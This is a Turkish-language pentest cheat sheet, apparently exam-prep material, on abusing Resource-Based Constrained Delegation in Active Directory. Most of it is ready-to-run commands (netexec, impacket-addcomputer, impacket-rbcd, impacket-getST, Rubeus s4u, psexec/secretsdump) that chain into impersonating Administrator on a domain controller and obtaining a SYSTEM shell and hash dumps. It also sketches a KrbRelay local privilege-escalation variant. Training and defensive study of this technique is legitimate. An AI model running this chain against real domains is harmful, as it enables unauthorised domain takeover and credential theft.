FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE zor :88:445:389:135

Resource-Based Constrained Delegation (RBCD) — Computer Hesabına GenericWrite ile Takeover

Hedef bilgisayar nesnesi üzerinde GenericWrite/GenericAll/WriteDACL haklarına sahip olunduğunda, kontrol edilen bir computer hesabı (impacket-addcomputer ile oluşturulan) hedefin msDS-AllowedToActOnBehalfOfOtherIdentity alanına yazılır. Ardından impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator ile hedefte Administrator olarak bilet alınır. MachineAccountQuota>0 gerekir.

Bilgi: ÖN KOŞULLAR
  • Hedef bilgisayar nesnesi üzerinde GenericWrite / GenericAll / WriteDACL / WriteProperty(msDS-AllowedToActOnBehalfOfOtherIdentity) yazma hakkı
  • Kontrol edilen bir computer hesabı: MachineAccountQuota>0 ile yeni eklenir VEYA mevcut bir computer hesabının kimlik bilgisi
  • DC'ye LDAP (389) ve Kerberos (88) erişimi; clock skew < 5 dk
┌──

Komutlar

netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} -M maq
MachineAccountQuota değerini oku. Varsayılan 10'dur; >0 ise düşük yetkili kullanıcı yeni computer hesabı ekleyebilir, bu RBCD için kontrol edilen 'fake' computer kaynağıdır. NetExec Wiki - ldap -M maq (MachineAccountQuota)
impacket ✓ EXAM-SAFE user
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'Fake123!' -dc-host {{DC_HOST}} -domain-netbios {{DOMAIN}} '{{DOMAIN}}/{{USER}}:{{PASS}}'
MachineAccountQuota>0 ise yeni bir computer hesabı (FAKE01$) oluştur. Bu hesap RBCD'de delege EDEN kaynak olacak; parolasını bildiğin için S4U yapabilirsin. WADComs - Impacket addcomputer (MachineAccountQuota abuse)
impacket ✓ EXAM-SAFE user
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to '{{DC_HOST}}$' -action write '{{DOMAIN}}/{{USER}}:{{PASS}}'
Hedef bilgisayarın ({{DC_HOST}}$) msDS-AllowedToActOnBehalfOfOtherIdentity alanına FAKE01$ SID'ini yaz. Bu, FAKE01$'ın hedef adına S4U2Proxy yapabilmesini sağlar. -action read/remove ile doğrula/temizle. The Hacker Recipes - RBCD (rbcd.py write)
impacket ✓ EXAM-SAFE user
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator '{{DOMAIN}}/FAKE01$:Fake123!'
Kontrol edilen FAKE01$ hesabıyla, Administrator adına cifs/{{DC_HOST}} SPN'ine S4U2Self+S4U2Proxy bileti al. Çıktı Administrator@cifs_DC_HOST.ccache; RBCD edge'i sayesinde S4U2Proxy çalışır. The Hacker Recipes - RBCD (getST -impersonate)
impacket ✓ EXAM-SAFE user
KRB5CCNAME=Administrator@cifs_{{DC_HOST}}.ccache impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@{{DC_HOST}}
Alınan S4U biletini KRB5CCNAME ile yükleyip Kerberos-only psexec/wmiexec ile hedefte Administrator (SYSTEM) shell al. secretsdump -k ile hash dump da yapılabilir. WADComs - Impacket psexec -k -no-pass
powershell ✓ EXAM-SAFE user
Set-DomainRBCD -Identity {{DC_HOST}} -DelegateFrom 'FAKE01$'
Windows/PowerView tarafı: hedefin msDS-AllowedToActOnBehalfOfOtherIdentity alanını FAKE01$ için ayarla (eşdeğer write işlemi). Sonra Rubeus s4u ile bilet alınır. HackTricks - RBCD (PowerView Set-DomainRBCD)
rubeus ✓ EXAM-SAFE user
Rubeus.exe hash /password:Fake123! /user:FAKE01$ /domain:{{DOMAIN}}
FAKE01$ parolasının RC4/AES anahtarlarını hesapla (S4U için Rubeus parola yerine hash ister). HackTricks - RBCD (Rubeus hash)
rubeus ✓ EXAM-SAFE user
Rubeus.exe s4u /user:FAKE01$ /aes256:<AES256_KEY> /impersonateuser:Administrator /msdsspn:cifs/{{DC_HOST}} /ptt
Windows tarafı tam RBCD S4U: FAKE01$ ile Administrator adına cifs/{{DC_HOST}} bileti al ve /ptt ile enjekte et. /altservice ile host/ldap/http/wsman'a yeniden yazılabilir. The Hacker Recipes - RBCD (Rubeus s4u /ptt)
netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u {{USER}} -p {{PASS}} --delegate Administrator
NetExec ile RBCD edge varsa tek komutta S4U bileti al (delege edilen kaynak otomatik kullanılır). Hızlı doğrulama için pratik. NetExec Wiki - ldap --delegate (RBCD S4U)

RBCD Nedir

Resource-Based Constrained Delegation (RBCD), klasik constrained delegation’ın tersidir: delegasyon kararı, devreden kaynağın (resource = hedef bilgisayar) kendi msDS-AllowedToActOnBehalfOfOtherIdentity (yani Security Descriptor) alanında tutulur. Bu alan hedefin kendi nesnesinde olduğundan, hedef bilgisayar üzerinde GenericWrite/GenericAll/WriteDACL/WriteProperty haklarına sahip herkes bu alanı düzenleyip kontrol ettiği bir hesabı ‘adına davranabilir’ hale getirebilir. Sonuç: kontrol edilen hesap, S4U2Self+S4U2Proxy ile hedefte herhangi bir kullanıcıyı (Administrator) impersonate eder.

Klasik Saldırı Zinciri

  1. ACL keşfi: BloodHound ile hedef computer üzerinde GenericWrite/GenericAll/WriteDACL edge’i olan bir principal ele geçirdiğini doğrula (ad-acl-abuse).
  2. Kaynak hesap: MachineAccountQuota>0 ise impacket-addcomputer ile FAKE01$ oluştur (parolasını sen belirlersin). MAQ=0 ise kontrol ettiğin mevcut bir computer hesabını ya da yazma hakkın olan başka principal’ı kullan.
  3. RBCD yaz: impacket-rbcd -action write ile hedefin msDS-AllowedToActOnBehalfOfOtherIdentity alanına FAKE01$ SID’ini yaz (veya PowerView Set-DomainRBCD).
  4. S4U: impacket-getST -spn cifs/ -impersonate Administrator ‘/FAKE01$:’ ile Administrator bileti al. Rubeus tarafında önce Rubeus hash ile anahtar üret, sonra Rubeus s4u /aes256 /ptt.
  5. Erişim: KRB5CCNAME ile bileti yükleyip -k -no-pass psexec/secretsdump ile hedefte SYSTEM/Administrator ol.
  6. Temizlik: impacket-rbcd -action remove ile msDS-AllowedToActOnBehalfOfOtherIdentity alanını eski haline döndür; eklenen FAKE01$ hesabını sil.

KrbRelay Varyantı

GenericWrite hakkın yoksa bile, yerel bir Kerberos relay (KrbRelay/KrbRelayUp) ile makinenin kendi authentication’ını LDAP’a relay edip kendi computer nesnesinin RBCD alanına yazma yapılabilir — lokal SYSTEM’e (privesc) giden klasik yol. Bu, LDAP signing zorunlu DEĞİLSE çalışır.

Gotcha’lar

  • MachineAccountQuota: Varsayılan 10. 0 ise yeni computer ekleyemezsin; -M maq ile kontrol et. MAQ=0 senaryosunda kontrol ettiğin başka bir computer hesabı (ör. coerce/relay ile elde edilmiş) delege eden olabilir.
  • SID gerekir, parola değil: RBCD alanına yazılan şey delege eden hesabın SID’idir. S4U yapabilmek için o hesabın parola/AES anahtarına sahip olman gerekir — bu yüzden kendi oluşturduğun FAKE01$ idealdir.
  • SPN formatı: -spn cifs/{{DC_HOST}} hedefin FQDN’i ile yazılmalı; alınan bilet /altservice (Rubeus) ile host/ldap/http/wsman’a yeniden yazılabilir (DCSync için ldap).
  • Clock skew: S4U Kerberos olduğundan DC ile saat senkronu şart (KRB_AP_ERR_SKEW). sudo ntpdate {{DC_IP}}.
  • LDAP write koşulu: RBCD yazımı LDAP üzerinden; LDAP channel binding/signing relay senaryolarını etkiler ama doğrudan ACL write’ı (yetkin varsa) etkilemez.
  • Protected Users: İmpersonate edilecek kullanıcı NOT_DELEGATED/Protected Users ise S4U2Self başarısız olur — farklı bir privileged hesap seç.
  • Temizlik önemli: Bıraktığın FAKE01$ hesabı ve değişen security descriptor tespit edilebilir; pentest sonrası mutlaka remove et.
┌──

Kaynaklar

0/15 set